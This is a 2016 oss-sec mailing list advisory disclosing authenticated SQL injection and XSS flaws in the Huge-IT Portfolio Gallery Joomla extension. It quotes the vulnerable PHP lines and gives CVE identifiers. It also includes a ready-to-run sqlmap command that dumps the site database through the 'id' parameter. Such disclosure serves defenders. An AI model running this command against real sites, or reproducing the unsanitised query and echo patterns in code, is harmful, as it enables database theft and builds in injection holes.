oss-sec mailing list archives
Huge-IT Portfolio Gallery manager v1.1.5 SQL Injection and XSS
From: "Larry W. Cashdollar" <larry0 () me com>
Date: Mon, 25 Jul 2016 10:54:07 -0400
Title: Huge-IT Portfolio Gallery manager v1.1.5 SQL Injection and XSS Author: Larry W. Cashdollar, @_larry0 Date: 2016-07-15 Download Site: http://huge-it.com/joomla-portfolio-gallery/ Vendor: Huge IT Vendor Notified: 2016-07-16 Vendor Contact: info () huge-it com Description: Huge-IT Portfolio Gallery extension can do wonders with your website. If you wish to show your photos, videos, enclosing the additional images and videos, then this Portfolio Gallery extension is what you need. Vulnerability: The attacker must be logged in with at least manager level access or access to the administrative panel to exploit this vulnerability: XSS line 156 in : ./administrator/components/com_portfoliogallery/views/video/tmpl/default.php 155 <textarea rows="3" cols="50" class="text-area" disab led > 156 <?php echo $_GET['edit'];?> 157 </textarea> In file administrator/components/com_portfoliogallery/models/portfoliogallery.php: variable id is passed without any sanitization to the SQL query being built starting at line 53: 50 public function getPropertie() { 51 $db = JFactory::getDBO(); 52 $id_cat = JRequest::getVar('id'); 53 $query = $db->getQuery(true); 54 $query->select('#__huge_itportfolio_images.name as name,' 55 . '#__huge_itportfolio_images.id ,' 56 . '#__huge_itportfolio_portfolios.name as portName,' 57 . 'portfolio_id,#__huge_itportfolio_images.category as categ ory, #__huge_itportfolio_images.description as description,image_url,sl_url, sl_type,link_target,#__huge_itportfolio_images.ordering,#__huge_itportfolio_ images.published,published_in_sl_width'); 58 $query->from(array('#__huge_itportfolio_portfolios' => '#__huge_itpo rtfolio_portfolios', '#__huge_itportfolio_images' => '#__huge_itportfolio_im ages')); 59 $query->where('#__huge_itportfolio_portfolios.id = portfolio_id')->w here('portfolio_id=' . $id_cat); 60 $query->order('ordering asc'); 61 $db->setQuery($query); 62 $results = $db->loadObjectList(); 63 return $results; CVE-2016-1000115 XSS CVE-2016-1000116 SQLi Exploit Code: • sqlmap --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_portfoliogallery&view=portfoliogallery&id=*" --dbms mysql --dump Advisory: http://www.vapidlabs.com/advisory.php?v=165
Current thread:
- Huge-IT Portfolio Gallery manager v1.1.5 SQL Injection and XSS Larry W. Cashdollar (Jul 25)